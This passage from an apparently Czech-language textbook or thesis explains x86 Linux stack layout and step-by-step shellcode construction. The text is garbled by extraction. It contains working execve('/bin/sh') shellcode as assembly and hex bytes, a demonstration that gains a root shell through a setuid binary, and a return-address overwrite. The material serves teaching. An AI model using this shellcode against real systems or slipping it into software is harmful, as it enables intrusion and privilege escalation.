6.1 Prostrˇedı´ 6.1.1 Za´sobnı´k Za´sobnı´k je oblast pameˇti, se kterou pracujeme jako s frontou typu LIFO (Last In First Out). Velikost za´sobnı´ku je omezena velikostı´ segmentu. Nejvy´sˇe tedy 4GB. Prˇ´ıslusˇny´ segmentovy´ selektor je registr SS. Tento segmentovy´ registr se automaticky pouzˇ´ıva´ pro vsˇechny za´sobnı´kove´ operace. Registr ESP ukazuje na vrchol za´sobnı´ku. Kdyzˇ pouzˇijeme instrukci push, nejprve se hodnota ESP snı´zˇ´ı o 4B, a potom se pozˇadovana´ hodnota ulozˇ´ı na novy´ vrchol za´sobnı´ku. Prˇi vy´beˇru hodnoty ze za´sobnı´ku do registru se hodnota nejprve vybere, a potom se hodnota ESP zveˇtsˇ´ı o 4B. Rˇ ´ıka´me, zˇe za´sobnı´k roste smeˇrem k nizˇsˇ´ım adresa´m. Registr EBP se pouzˇ´ıva´ pro vytvorˇenı´ loka´lnı´ho ra´mce funkce na 39
za´sobnı´ku. Promeˇnne´ jsou adresova´ny posunem vu˚cˇi hodnoteˇ v registru EBP. Nad adresou obsazˇenou v registru EBP se nacha´zejı´ parametry prˇeda´vane´ funkci. Pod touto adresou se nacha´zejı´ loka´lnı´ promeˇnne´ funkce.
6.1.2 Proces v pameˇti Pameˇt’ovy´ prostor procesu je rozdeˇlen na neˇkolik oblastı´ podle obra´zku 6.2. Oblasti majı´ svu˚j vy´znam, ktery´ je dany´ prˇ´ıznaky opra´vneˇnı´ a kontextem. Pro na´s jsou nejdu˚lezˇitejsˇ´ı prˇ´ıznaky povolenı´ za´pisu a spustitelnosti. Podı´vejme se, do jaky´ch pameˇt’ovy´ch oblastı´ kompila´tor jazyka C ukla´da´ rozdı´lne´ typy promeˇnny´ch. Globa´lnı´ iniciovane´ promeˇnne´ (jejich hodnota je zna´ma v dobeˇ kompilace) jsou umı´steˇny v oblasti Data. Globa´lnı´ neiniciovane´ promeˇnne´ jsou umı´steˇny v oblasti BSS. Loka´lnı´ promeˇnne´ se ukla´dajı´ na za´sobnı´k (stack). Dynamicky alokovane´ oblasti pameˇti se zakla´dajı´ v oblasti haldy (heap). Vı´ce na obra´zku 6.1. Oblast ko´du je prˇ´ıstupna´ pouze pro cˇtenı´ a je sdı´lena vsˇemi procesy te´hozˇ programu. Oblast za´sobnı´ku i haldy je spustitelna´ 1 . Na prvnı´ pohled by se mohlo zda´t, zˇe spustitelne´ jsou zcela zbytecˇneˇ. Existujı´ i neoficia´lnı´ verze linuxove´ho ja´dra s nespustitelny´m za´sobnı´kem a haldou. Bohuzˇel na takto upravene´m ja´drˇe nefungujı´ neˇktere´ programy, vı´ce informacı´ je v kapitole 9. Proble´my vznikajı´ z na´sledujı´ch du˚vodu˚:
Vnorˇene´ definice funkcı´ – Prˇekladacˇ gcc implemenuje rozsˇ´ıˇrenı´ jazyka C o vnorˇene´ funkce. Mu˚zˇe dojı´t k situaci na na´sledujı´cı´m obra´zku. /* Uka´zka vzniku trampolı´ny prˇi pouzˇitı´ vnorˇeny´ch funkcı´ch */ int zpracuj(int (*addr)(int)) return addr(3);
int main() int x=2; int interni vypocet(int y)
return (x+y); 10
return zpracuj(interni vypocet);
V tomto prˇ´ıpadeˇ je funkce interni vypocet() vola´na mimo funkci, ve ktere´ byla definova´na. Obtı´zˇneˇ se tedy bude dosta´vat k loka´lnı´m promeˇnny´m funkce main(). Situace se ˇresˇ´ı tak, zˇe funkce main() vytvorˇ´ı na za´sobnı´ku data, ktera´ odpovı´dajı´ instrukcı´m prˇesunu hodnoty z EBP do ECX a skok na funkci interni vypocet(). Ve funkci zpracuj() dojde provedenı´ teˇchto dvou instrukcı´. Prˇes registr ECX dojde k zprˇ´ıstupneˇnı´ loka´lnı´ch promeˇnny´ch funkce main(). Ony dveˇ instrukce spousˇteˇne´ ze za´sobnı´ku se nazy´vajı´ trampolı´na. 1
Prˇ´ıcˇiny v odstavci 2.3.1 na straneˇ 13
40
(gdb) list 1 /* shellkod1.c */ 2 int a = 1; //data 3 int b; //bss 4 int *c; //bss 5 6 int main() 7 int d; //stack 8 c = (int *)malloc(10); //heap 9 *c=0xAA; 10 return 0; 11
10
(gdb) break 10 (gdb) run Breakpoint 1, main () at shellkod1.c:10 *********************************************
(gdb) print &a $1 = (int *) 0x8049490 (gdb) info symbol 0x8049490 a in section .data *********************************************
20
(gdb) print &b $2 = (int *) 0x80495a8 (gdb) info symbol 0x80495a8 b in section .bss *********************************************
30
(gdb) print &d $3 = (int *) 0xbffffa38 ********************************************* (gdb) print &c $4 = (int **) 0x80495ac (gdb) x 0x80495ac 0x80495ac c : 0x080495b8 *********************************************
40
(gdb) print c $5 = (int *) 0x80495b8 (gdb) x 0x80495b8 0x80495b8: 0x000000aa
Obra´zek 6.1: Adresy jednotlivy´ch promeˇnny´ch v pameˇti
41
"W$%& +- .0U1 Argumenty programu
Vyšší adresy
Zásobník Rámec uživatelského zásobníku Halda BSS Data Kód Nižší adresy
Obra´zek 6.2: Proces v pameˇti Obsluzˇne´ rutiny signa´lu˚ – Kazˇdy´ program mu˚zˇe vlastnit sve´ rutiny pro obsluhu odchytitelny´ch signa´lu˚. Prˇi dorucˇenı´ signa´lu ja´dro proces zastavı´ a na za´sobnı´k ulozˇ´ı data nutna´ pro pozdeˇjsˇ´ı obnovenı´ kontexu procesu. Da´le na za´sobnı´k vlozˇ´ı instrukce, ktere´ provedou vyvola´nı´ obsluzˇne´ rutiny signa´lu a po ukoncˇenı´ spusˇteˇnı´ syste´move´ho vola´nı´ sigreturn(). Syste´move´ vola´nı´ sigreturn() provede obnovenı´ kontextu procesu a prˇeda´ mu ˇr´ızenı´. Funkcina´lnı´ jazyky – Funkciona´lnı´ programovacı´ jazyky stejneˇ jako i jine´ programy mohou za´viset na generova´nı´ ko´du na za´sobnı´ku za beˇhu programu.
6.2 Provedenı´ funkce Vykona´va´nı´ funkce mu˚zˇeme rozdeˇlit do trˇ´ı kroku˚ (informace jsou platne´ pro jazyk C, pro zajı´mavost jsou mı´sty uvedena srovna´nı´ s jazykem Pascal): Vola´nı´ funkce – Nejdrˇ´ıve se na za´sobnı´k ulozˇ´ı parametry prˇeda´vane´ funkci. Ukla´dajı´ se od konce. Dı´ku tomu jsou prvnı´ parametry nejblı´zˇe loka´lnı´mu ra´mci funkce a poslednı´ parametry nejda´le. Tato konstrukce umozˇnˇuje v jazyce C psa´t funkce s promeˇnny´m pocˇtem parametru˚. Naprˇ. jazyk Pascal toto neumozˇnˇuje a ukla´da´ parametry odprˇedu. Potom se ulozˇ´ı obsah registru EIP + 5B. Mluvı´me o tzv. na´vratove´ adrese, 5B je de´lka instrukce call s operandem. Tato adresa se pozdeˇji ze za´sobnı´ku vybere a ulozˇ´ı zpeˇt do EIP. Beˇh programu pokracˇuje da´le. Prolog funkce – Vytvorˇ´ı se nove´ prostrˇedı´ pro funkci. Nejdrˇ´ıve se ulozˇ´ı na za´sobnı´k obsah registru EBP. Potom se registr EBP nastavı´ na stejnou hodnotu, jako obsahuje registr ESP. Nakonec se registr ESP snı´zˇ´ı o potrˇebny´ pocˇet bytu˚ – tı´m se vytvorˇ´ı mı´sto na loka´lnı´ promeˇnne´. Parametry funkce majı´ tedy oproti adrese v registru EBP kladne´ offsety. Loka´lnı´ promeˇnne´ majı´ offsety za´porne´. 42
Epilog funkce – Vra´tı´me stav za´sobnı´ku do stejne´ho stavu, jako byl prˇed vola´nı´m funkce. Instrukce leave obnovı´ pu˚vodnı´ hodnoty registru˚ EBP a ESP. Instrukce ret vyzvedne ze za´sobnı´ku na´vratovou adresu a ulozˇ´ı ji do EIP. Volajı´cı´ funkce nynı´ jizˇ jen uklidı´ ze za´sobnı´ku parametry. V jazyku Pascal se o u´klid parametru˚ stara´ funkce sama. Podı´vejme se obra´zky. Vsˇ´ımat si budeme za´sobnı´ku prˇi provedenı´ zdrojove´ho textu shellkod2.c podle obra´zku 6.3. /* shellkod2.c */ void fce(int alfa, int beta) char s[6] = ”abcdef”; int k = 10;
int main() int gama = 20; fce(8,12);
10
return 0;
Obra´zek 6.3: Prˇ´ıklad na vola´nı´ funkcı´
EBP
y x
push %ebp
ESP
x
x
y x
ESP EBP
movl %esp,%ebp
adresy
x adresy
Prolog push %ebp mov %esp, %ebp subl $0x4,%esp
adresy
50%V SV$%T- +1U
y x gama
EBP ESP
subl $0x4,%esp
Obra´zek 6.4: Za´sobnı´k a vola´nı´ funkce I. Na obra´zku 6.4 vidı´me, kterak probeˇhne prolog funkce main(). Stav na za´sobnı´ku prˇed vola´nı´m funkce main() je urcˇen programem, ktery´ funkci main() vola´. Nejdrˇ´ıve se na za´sobnı´k ulozˇ´ı obsah registru EBP. To proto, abychom toto prostrˇedı´ mohli pozdeˇji znovu obnovit. Potom se do registru EBP nastavı´ adresa odpovı´dajı´cı´ aktua´lnı´mu vrcholu za´sobnı´ku. Tı´m se vytvorˇ´ı prostrˇedı´ funkce main(). Na´sledneˇ alokujeme mı´sto pro loka´lnı´ promeˇnnou gama. Na obra´zku 6.5 je zobrazen pru˚beˇh vola´nı´ funkce fce(int alfa, int beta). Funkce main() nejdrˇ´ıve na za´sobnı´k prˇipravı´ prˇeda´vane´ argumenty. Pote´ instrukce call ulozˇ´ı na za´sobnı´k na´vratovou adresu a provede skok na adresu funkce fce(int alfa, int beta). Ve funkci fce(int alfa, int beta) se nejprve vytvorˇ´ı jejı´ prostrˇedı´. Probeˇhne tedy prolog. Pro loka´lnı´ promeˇnne´ potrˇebujeme na za´sobnı´ku alokovat 12B. 4B jsou potrˇeba pro promeˇnou k. Pro ˇreteˇzec s by na´s sice stacˇilo pouze 6B, ale za´sobnı´k je implicitneˇ organizova´n po cˇtyrech bytech. Mı´sto 6B tedy zabereme cely´ch 8B. 43
!"#%$&')( *+
x
funkce fce()
x
x
y x gama 12 8 EIP+5
EBP ESP
adresy
x gama 12 8
y z
EBP
ESP
adresy
y
adresy
Volání funkce fce() a uložení návratové adresy
funkce fce()
call
pushl $0xc pushl $0x8
x gama 12 8 EIP+5 z fe dc ba k
EBP
ESP
push %ebp movl %esp,%ebp subl $0xc,%esp
Obra´zek 6.5: Za´sobnı´k a vola´nı´ funkce II.
, -!"( 2
"
"
3
). /
!"#0 !1()( *+
3 7
465
8
funkce main()
ze zásobníku
x gama 12 8 EIP+5 z fe d cba k
y z
EBP
ESP
movl %ebp, %esp popl %ebp nebo instr. leave
adresy
adresy
y z
x
x y x gama 12 8 EIP+5
x gama
EBP ESP
adresy
x
addl $0x8, %esp
ret
Obra´zek 6.6: Za´sobnı´k a vola´nı´ funkce III.
44
EBP ESP
Na obra´zku 6.6 dojde k na´vratu z funkce fce(int alfa, int beta) do funkce main(). V prvnı´m kroku obnovı´me prostrˇedı´ funkce main(). Do registru EBP obnovı´me adresu prostrˇedı´ funkce main() ulozˇenou na za´sobnı´ku. Instrukce ret provede vy´beˇr na´vratove´ hodnoty ze za´sobnı´ku a ulozˇ´ı ji do registru EIP. Tı´m se dostaneme zpeˇt do teˇla funkce main(). Ta jizˇ pouze provede u´klid za´sobnı´ku. Z obra´zku˚ je videˇt, zˇe ulozˇena´ na´vratova´ hodnota nenı´ nijak chra´neˇna. Jejı´m prˇepsa´nı´m tak, aby ukazovala na na´sˇ shellko´d, dosa´hneme spusˇteˇnı´ shellko´du.
6.3 Nestandardnı´ vyuzˇitı´ registru EBP GNU kompila´tor jazyka C umozˇnˇuje prove´st vola´nı´ funkcı´ bez vyuzˇitı´ registru EBP. Na vsˇechna data ulozˇena´ na za´sobnı´ku se lze odvolat pomocı´ offsetu a registru ESP. Protozˇe nedocha´zı´ k tvorbeˇ loka´lnı´ho ra´mce na za´sobnı´ku pro danou funkci, prolog funkce u´plneˇ zanika´ a na´vrat z funkce je tvorˇen pouze instrukcı´ ret. Registr EBP je volny´ a mu˚zˇe by´t pouzˇit pro jine´ u´cˇely. Na architekturˇe x86 s maly´m pocˇtem vsˇeobecny´ch registru˚ lze takto dospeˇt k vy´znamne´ optimalizaci. Kompilace v tomto rezˇimu se aktivuje parametrem -fomit-frame-pointer. Tuto optimalizaci je vhodne´ prove´st azˇ po odladeˇnı´ programu. Soucˇasne´ trasovacı´ programy prˇedpokla´dajı´ standartnı´ vyuzˇitı´ registru EBP.
6.4 Tvorba shellko´du 6.4.1 Genericky´ shellko´d typu Aleph one Tato metoda byla poprve´ obsˇ´ırneˇji popsa´na v magazı´nu Phrack [3]. Autorem cˇla´nku byl Aleph One a podle jeho jme´na je nynı´ tato metoda konstrukce shellko´du zna´ma. Linuxove´ ja´dro pro spusˇteˇnı´ programu obsahuje pouze jedno vola´nı´ int execve(const char *filename, char *const argv [], char *const envp[]). Pouzˇitı´ tohoto vola´nı´ si uka´zˇeme na prˇ´ıkladu spusˇteˇnı´ shellu v jazyce C. Disassemblace na´m uka´zˇe za´kladnı´ kostru pro stavbu shellko´du. Vı´ce na obra´zcı´ch 6.7 a 6.8. Kompilace & Disassemblace $ gcc -o shellkod3 shellkod3.c -O2 -g --static $ gdb shellkod3 Vidı´me, zˇe nenı´ teˇzˇke´ najı´t adresu ˇreteˇzce ”/bin/sh” (obra´zek 6.8 dole). Jak ale zjistı´me adresu tohoto ˇreteˇzce, kdyzˇ na´sˇ shellko´d mu˚zˇe by´t zaveden vzˇdy na jine´ adrese? Pomu˚zˇe na´m instrukce call. Jak jizˇ vı´me ukla´da´ na za´sobnı´k na´vratovou adresu. Pokud se na na´vratove´ adrese bude nacha´zet pra´veˇ na´sˇ ˇreteˇzec, stacˇ´ı pouze adresu vybrat ze za´sobnı´ku. Ko´d vidı´me na obra´zku 6.9.
45
/* shellkod3.c */ #include #include
stdio.h unistd.h
int main() char *prog[ ] = ”/bin/sh”, NULL ; /* vola´nı´ ja´dra execve zmeˇnı´ obraz procesu */ execve(prog[0],prog,NULL); /* pokud execve selzˇe . . . * opeˇt vola´nı´ ja´dra * dı´ky explicitnı´mu vola´nı´ bude ko´d kratsˇ´ı */ exit(0);
10
Obra´zek 6.7: Spusˇteˇnı´ shellu v jazyce C
(gdb) dissemble main Dump of assembler code for function main: 0x80481b4 main : push %ebp 0x80481b5 main+1 : mov %esp,%ebp 0x80481b7 main+3 : sub $0x18,%esp 0x80481ba main+6 : movl $0x0,0xfffffffc(%ebp) 0x80481c1 main+13 : mov $0x808b6a8,%edx 0x80481c6 main+18 : mov %edx,0xfffffff8(%ebp) 0x80481c9 main+21 : add $0xfffffffc,%esp 0x80481cc main+24 : push $0x0 0x80481ce main+26 : lea 0xfffffff8(%ebp),%eax 0x80481d1 main+29 : push %eax 0x80481d2 main+30 : push %edx 0x80481d3 main+31 : call 0x804bf70 execve 0x80481d8 main+36 : add $0xfffffff4,%esp 0x80481db main+39 : push $0x0 0x80481dd main+41 : call 0x804bf50 exit End of assembler dump.
10
(gdb) printf ”%s\n”, 0x808b6a8 /bin/sh (gdb)
20
Obra´zek 6.8: Disassemblace shellkod3.c
46
Vola´nı´ ja´dra execve() a exit() podle obra´zku 6.8 se deˇje pomocı´ knihovnı´ch funkcı´. Na´m bude stacˇit, kdyzˇ si pozorneˇ prohle´dneme, jake´ hodnoty se ukla´dajı´ na za´sobnı´k. Z toho jizˇ snadno napı´sˇeme efektivneˇjsˇ´ı ko´d bez knihovnı´ch funkcı´. Musı´me sta´le pamatovat na velikost shellko´du 2 . Prˇeda´vane´ argumenty vlozˇ´ıme do vsˇeobecny´ch registru˚ a provedeme prˇerusˇenı´ int $0x80. zacatek: jmp trik rutina: popl %esi ... vlastnı´ shellko´d ... trik:
10
call rutina ”/bin/sh”
Obra´zek 6.9: Zı´ska´nı´ adresy ˇreteˇzce Podı´va´me-li se na parametry funkce execve(), zjistı´me, zˇe kromeˇ adresy ˇreteˇzce ”/bin/sh” potrˇebujeme jesˇteˇ ukazatel na tuto adresu a ukazatel na hodnotu NULL. V pameˇti si tedy za ˇreteˇzcem vybudujeme pole s teˇmito u´daji. Prˇipomenˇme jesˇteˇ, zˇe textove´ konstanty se v jazyce C automaticky zakoncˇujı´ ASCII hodnotou 0. Tuto hodnotu budeme muset za ˇreteˇzec doplnit sami. Pole vybudujeme podle obra´zku 6.10. Osmi byty, ktere´ vytvorˇ´ı pole, prˇepı´sˇeme cˇa´st pameˇti. Prˇepsana´ oblast nenı´ nijak vy´znamna´. Posˇkozenı´ dat na za´sobnı´ku, haldeˇ cˇi datove´ sekci procesu ztratı´ vy´znam po provedenı´ funkce execve(). Zvla´sˇtnı´ pozornost je potrˇeba veˇnovat tomu, aby shellko´d neobsahoval zˇa´dny´ nulovy´ byte. Pro vlozˇenı´ shellko´du do pameˇti se zpravidla vyuzˇ´ıva´ knihovnı´ch funkcı´ pro pra´ci s ˇreteˇzci. Pro tyto funkce nulovy´ byte znamena´ konec kopı´rovane´ho ˇreteˇzce. Vı´ce v kapitole 7. Cela´ implementace shellko´du je na obra´zku 6.11. Pouzˇili jsme vkla´dany´ assembler do jazyka C. Podrobne´ komenta´ˇre jsou prˇ´ımo u kazˇde´ instrukce. Prˇi definici ˇreteˇzce ”/bin/sh” nesmı´me zapomenout na zpeˇtna´ lomı´tka prˇed uvozovkami. 2
V kapitole 7 uvidı´me, zˇe s mensˇ´ım shellko´dem se sna´ze pracuje
5 +7 +7 3 7 7 3
popl %esi movl %esi, 0x8(%esi) movl $0x0, 0xc(%esi) movb $0x, 0x7(%esi)
se na tomto znaku zastaví.
NULL / bi n / s h0 8B
0000 4B
4B
popl %esi movl %esi, 0x8(%esi) xorl %eax, %eax movl %eax, 0xc(%esi) movb %al, 0x7(%esi)
3 5
neobsahuje nulové byty.
Obra´zek 6.10: Pole s ˇreteˇzcem ”/bin/sh” a ukazateli
47
Na obra´zku 6.12 vidı´me odpovı´dajı´cı´ strojovy´ za´pis. Nikde se v neˇm nevyskytuje nulovy´ byte. Shellko´d je tedy v porˇa´dku. Od adresy 0x80483dd jizˇ nejsou instrukce, ale ˇreteˇzec ”/bin/sh”. ASCII hodnota znaku ’/’ je 0x2f, znaku ’b’ 0x62 atd. Od adresy 0x80483e2 zacˇ´ınajı´ nevy´znamne´ byty, mı´sto nichzˇ si vytvorˇ´ıme nasˇe pole s ukazateli. Kompilace & Disassemblace $ gcc -o shellkod4 shellkod4.c $ objdump -d shellkod4 /* shellkod4.c */ int main() asm (” jmp trik rutina: popl %esi /* adresa ˇ retezce /bin/sh */ movl %esi, 0x8(%esi) /* ukazatel na ˇ rete ˇzec */ xorl %eax, %eax movl %eax, 0xc(%esi) /* ukazatel NULL */ movb %al, 0x7(%esi) /* zakonc ˇovacı ´ 0 */ movb $0xb, %al /* execve */ movl %esi, %ebx /* prvnı ´ parametr execve */ leal 0x8(%esi), %ecx /* druhy ´ parametr execve */ leal 0xc(%esi), %edx /* tr ˇetı ´ parametr execve */ int $0x80 /* samotne ´ vola ´nı ´ execve */ xorl %ebx, %ebx /* na ´vratova ´ hodnota _exit */ xorl %eax, %eax inc %eax /* _exit */ int $0x80 /* samotne ´ vola ´nı ´ _exit */ trik: call rutina .string \”/bin/sh\” ”);
Obra´zek 6.11: Shellko´d – assembler vkla´dany´ do jazyka C Nynı´ je na cˇase na´sˇ shellko´d vyzkousˇet. Jeho spusˇteˇnı´ na´m vsˇak zpu˚sobı´ neopra´vneˇny´ prˇ´ıstup do pameˇti. Ve spustitelne´m bina´rnı´m forma´tu je cˇa´st, ktera´ obsahuje ko´d programu, umı´steˇna v sekci (sekce .text) s povolenı´m pouze pro cˇtenı´. Povolenı´ pouze pro cˇtenı´ se prˇenese na stra´nky pameˇti, ktere´ po zavedenı´ programu do pameˇti obsahujı´ sekci .text. Du˚sledkem je SIGSEGV. Test spusˇteˇnı´ shellko´du $ ./shellkod4 Neopra´vneˇny´ prˇ´ıstup do pameˇti (SIGSEGV) $
48
10
20
080483b4 80483b4: 80483b5: 80483b7:
main : 55 89 e5 eb 1f
080483b9 80483b9: 80483ba: 80483bd: 80483bf: 80483c2: 80483c5: 80483c7: 80483c9: 80483cc: 80483cf: 80483d1: 80483d3: 80483d5: 80483d6:
rutina : 5e 89 76 31 c0 89 46 88 46 b0 0b 89 f3 8d 4e 8d 56 cd 80 31 db 31 c0 40 cd 80
080483d8 80483d8: 80483dd: 80483de: 80483e1: 80483e2: 80483e4: 80483e6: 80483e7: 80483e8: 80483e9:
trik : e8 2f 62 2f 73 00 c3 90 90 90
push mov jmp
%ebp %esp,%ebp 80483d8 trik
pop mov xor mov mov mov mov lea lea int xor xor inc int
%esi %esi,0x8(%esi) %eax,%eax %eax,0xc(%esi) %al,0x7(%esi) $0xb,%al %esi,%ebx 0x8(%esi),%ecx 0xc(%esi),%edx $0x80 %ebx,%ebx %eax,%eax %eax $0x80
call das bound das jae add ret nop nop nop
80483b9
08 0c 07
08 0c
10
20
dc ff ff ff 69 6e 68 c9
rutina
%ebp,0x6e(%ecx) 804844c %cl,%cl
IO stdin used+0x10
Obra´zek 6.12: Disassemblace shellkod4.c
49
30
Bina´rnı´mu spustitelne´mu forma´tu ELF, ktery´ se na Linuxu nejvı´ce pouzˇ´ıva´, je veˇnova´na prˇ´ıloha A. Nynı´ se pouze omezı´me na rychle´ nalezenı´ sekce s povoleny´m za´pisem. Prˇ´ıkazem readelf lh shellkod4 zı´ska´me vy´pis segmentu˚ a mapova´nı´ sekcı´ do segmentu˚ ve forma´tu ELF pro program shellkod4. Program Headers: Type PHDR INTERP LOAD LOAD DYNAMIC NOTE
Offset 0x000034 0x0000f4 0x000000 0x000440 0x000454 0x000108
VirtAddr 0x08048034 0x080480f4 0x08048000 0x08049440 0x08049454 0x08048108
PhysAddr 0x08048034 0x080480f4 0x08048000 0x08049440 0x08049454 0x08048108
FileSiz 0x000c0 0x00013 0x00440 0x00108 0x000c8 0x00020
MemSiz 0x000c0 0x00013 0x00440 0x00120 0x000c8 0x00020
Flg RE R RE RW RW R
Align 0x4 0x1 0x1000 0x1000 0x4 0x4
Section to Segment mapping: 00 01 02 03 04 05
.interp .interp .note.ABI-tag .hash .dynsym .dynstr .gnu.version .gnu.version r .rel.dyn .rel.plt .init .plt .text .fini .rodata .data .eh frame .dynamic .ctors .dtors .got .bss .dynamic .note.ABI-tag
Segmenty 03 a 04 majı´ prˇ´ıznaky RW. Sekce obsazˇene´ v teˇchto segmentech nemajı´ omezenı´ pouze na cˇtenı´. Zajı´mavostı´ je, zˇe forma´t ELF u kazˇde´ho segmentu specifikuje i prˇ´ıznak spustitelnost. Stra´nky pameˇti vsˇak pro spustitelnost zˇa´dny´ prˇ´ıznak, aby jej mohly prˇevzı´t, nemajı´. Segmentovana´ pameˇt je nastavena (viz strana 13) tak, zˇe cely´ virtua´lnı´ adresnı´ prostor procesu je spustitelny´. Prˇ´ıznak spustitelnosti tedy na platformeˇ x86 v tomto kontextu ztra´cı´ vy´znam. V segmentu 03 se nacha´zejı´ mimo jine´ sekce .data a .bss. Do sekce .data kompila´tor umı´st’uje globa´lnı´ iniciovane´ promeˇnne´ (viz strana 41). Napı´sˇeme tedy cely´ shellko´d do sekce .data. Protozˇe shellko´d chceme umı´stit do datove´ oblasti, nemu˚zˇeme pouzˇ´ıt jeho zdrojovou verzi. Do datove´ oblasti musı´me uve´st jizˇ jeho zkompilovany´ tvar. Hexadecima´lnı´ tvar jednotlivy´ch instrukcı´ opı´sˇeme z obra´zku 6.12, zacˇ´ına´me od instrukce jmp. Podle konvence jazyka C se prˇed znakove´ konstanty v sˇestna´ckove´ soustaveˇ umı´st’uje prefix ’ ’. Zby´va´ na´m vymyslet zpu˚sob, jak zmeˇnit tok programu tak, aby se zacˇal prova´deˇt na´sˇ shellko´d. Kdyzˇ si uveˇdomı´me, zˇe funkce main(), je nadrˇazeny´m prostrˇedı´m vola´na u´plneˇ stejneˇ jako kazˇda´ jina´ funkce, ma´me vyhra´no. Vı´me, zˇe loka´lnı´ promeˇnne´ se nacha´zejı´ na za´sobnı´ku. Nad prvnı´ loka´lnı´ promeˇnnou bude ulozˇen obsah registru EBP. Jesˇteˇ o 4B vy´sˇe bude ulozˇena na´vratova´ adresa pro na´vrat do nadrˇazene´ho prostrˇedı´. Adresu prvnı´ loka´lnı´ promeˇnne´ zı´ska´me snadno. O 8B vy´sˇe provedeme prˇepsa´nı´ na´vratove´ adresy tak, aby ukazovala na na´sˇ shellko´d. Shellko´d ve vhodne´m tvaru v datove´ oblasti je spolu se zpu˚sobem prˇeda´nı´ ˇr´ızenı´ uveden na obra´zku 6.13.
50
/* shellkod5.c */ char shellkod[ ] = ”\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x89\x46\x0c\x88\x46” ”\x07\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x31” ”\xc0\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh”; int main() int *ret; *((int *)&ret + 2) = (int) shellkod; return 0;
10
Obra´zek 6.13: Test shellko´du Kompilace & Spusˇteˇnı´ $ gcc -o shellkod5 shellkod5.c $ su $ chown root shellkod5 $ chmod +s shellkod5 $ exit $ whoami $ elf $./shellkod5 sh-2.05b$ sh-2.05b$ whoami root sh-2.05b$ exit Shellko´d funguje spra´vneˇ. Jeho velikost je 45B a neobsahuje zˇa´dne´ nulove´ byty. Funkcemi pro pra´ci s ˇreteˇzci tedy projde bez proble´mu˚. V prˇ´ıpadeˇ nutnosti mensˇ´ıho shellko´du je mozˇne´ vypustit cˇa´st s vola´nı´m exit().
6.4.2 Genericky´ shellko´d typu Netric Popis te´to metody konstrukce shellko´du pocha´zı´ z cˇla´nku Shellcodin Part II by bob from dtors.net 3 . Autor zde uva´dı´, zˇe na´pad pocha´zı´ od skupiny Netric 4 . Adresu ˇreteˇzce ”/bin/sh” zı´ska´me z registru ESP po vlozˇenı´ ˇreteˇzce na za´sobnı´k. Reˇteˇzec ma´ pouze 7B. Za´sobnı´k je ovsˇem zarovna´n po cˇtyrˇech bytech. Chybeˇjı´cı´ osmy´ byte by se prˇi instrukci push doplnil jako nulovy´. Tı´m by se provedlo vhodne´ zakoncˇenı´ ˇreteˇzce. Shellko´d by ale v tomto okamzˇiku zacˇal obsahovat nulovy´ byte. Musı´me zvolit jiny´ zpu˚sob. 3 4
http://www.dtors.net/papers/shellcodinII.txt http://www.netric.org
51
/ 0x2f
b 0x62
i 0x69
n 0x6e
/ 0x2f
s 0x73
h 0x68
Zakoncˇenı´ ˇreteˇzce nulou mu˚zˇeme prove´st pomocı´ vynulovane´ho registru. Zarovna´nı´ de´lky ˇreteˇzce na 8B provedeme prˇida´nı´m dalsˇ´ıho znaku ’/’. Vı´ce lomı´tek ve jme´neˇ souboru se povazˇuje za jedno. ´ vodnı´ cˇa´st shellko´du mu˚zˇe vypadat naprˇ´ıklad takto: U xorl pushl pushl pushl
%eax,%eax %eax $0x68732f2f $0x6e69622f
Null hs// nib/
Nynı´ registr ESP obsahuje adresu ˇreteˇzce. Prˇesuneme adresu do registru EBX, jak vyzˇaduje vola´nı´ execve(). Da´le na za´sobnı´ku vytvorˇ´ıme pole argv[]. movl pushl pushl
%esp,%ebx %eax %ebx
Null filename
Zby´va´ jizˇ pouze do registru ECX nastavit adresu pole argv[] a vynulovat registr EDX. Tı´m jsou vsˇechny parametry vola´nı´ execve() nastaveny. Do registru EAX uvedeme hodnotu vola´nı´ execve() a provedeme int $0x80. movl xorl movb int
%esp,%ecx %edx,%edx $0xb,%al $0x80 Null h s/ / n i b/
argv[] Null execve()
0xbfff...
ebx
0xbfff...
ecx
Null
"/bin/sh"
Null
ebx
int execve(char *filename, char *argv[], char *envp[]);
ebx
ecx
edx
Null
Obra´zek 6.14: Shellko´d typu Netric Vy´hodou tohoto shellko´du je jeho mala´ velikost. Pouhy´ch 25B. Umı´steˇn mu˚zˇe by´t i do oblasti urcˇene´ pouze pro cˇtenı´. Za´pis do pameˇti se prova´dı´ pouze v oblasti za´sobnı´ku. Podle specificke´ho prˇenosu obsahu registru ESP do jiny´ch registru˚ lze tento shellko´d snadno filtrovat. Cely´ shellko´d i s hexadecima´lnı´ reprezentacı´ jednotlivy´ch instrukcı´ je uveden na obra´zku 6.15.
52
Disassembly of section .text: 08048074 8048074: 8048076: 8048077: 804807c: 8048081: 8048083: 8048084: 8048085: 8048087: 8048089: 804808b:
start : 31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 50 53 89 e1 31 d2 b0 0b cd 80
%eax,%eax %eax $0x68732f2f $0x6e69622f %esp,%ebx %eax %ebx %esp,%ecx %edx,%edx $0xb,%al $0x80
xor push push push mov push push mov xor mov int
Obra´zek 6.15: Disassemblace shellko´du Netric
6.4.3 Shellko´dy neza´visle´ na OS Shellko´d neza´visly´ na operacˇnı´m syste´mu musı´ nejdrˇ´ıve detekovat, na jake´m syste´mu je spousˇteˇn. Detekce je mozˇna´ naprˇ´ıklad podle specificke´ho obsahu registru˚ FS a GS. Linux ma´ registry FS a GS nastaveny na nulu. FreeBSD nastavuje tyto registry na hodnotu 0x2f a OpenBSD na 0x1f. Oproti shellko´du neza´visle´m na platformeˇ je tento shellko´d znacˇneˇ jednodusˇsˇ´ı. Nenı´ potrˇeba obtı´zˇneˇ hledat sekvenci bytu˚, ktera´ se na ru˚zny´ch platforma´ch musı´ deko´dovat jako skoky nebo nesˇkodne´ instrukce z hlediska dalsˇ´ıho prova´deˇnı´ instrukcı´. Jako prˇ´ıklad si uvedeme shellko´d urcˇeny´ pro Linux a FreeBSD. Za´kladem bude genericky´ shellko´d typu Aleph One. Jizˇ vı´me, zˇe syste´move´ vola´nı´ na Linuxu a FreeBSD se lisˇ´ı ve zpu˚sobu prˇeda´nı´ parametru˚. Linux ocˇeka´va´ parametry v registrech, FreeBSD ocˇeka´va´ paramety na za´sobnı´ku. Tento rozdı´l 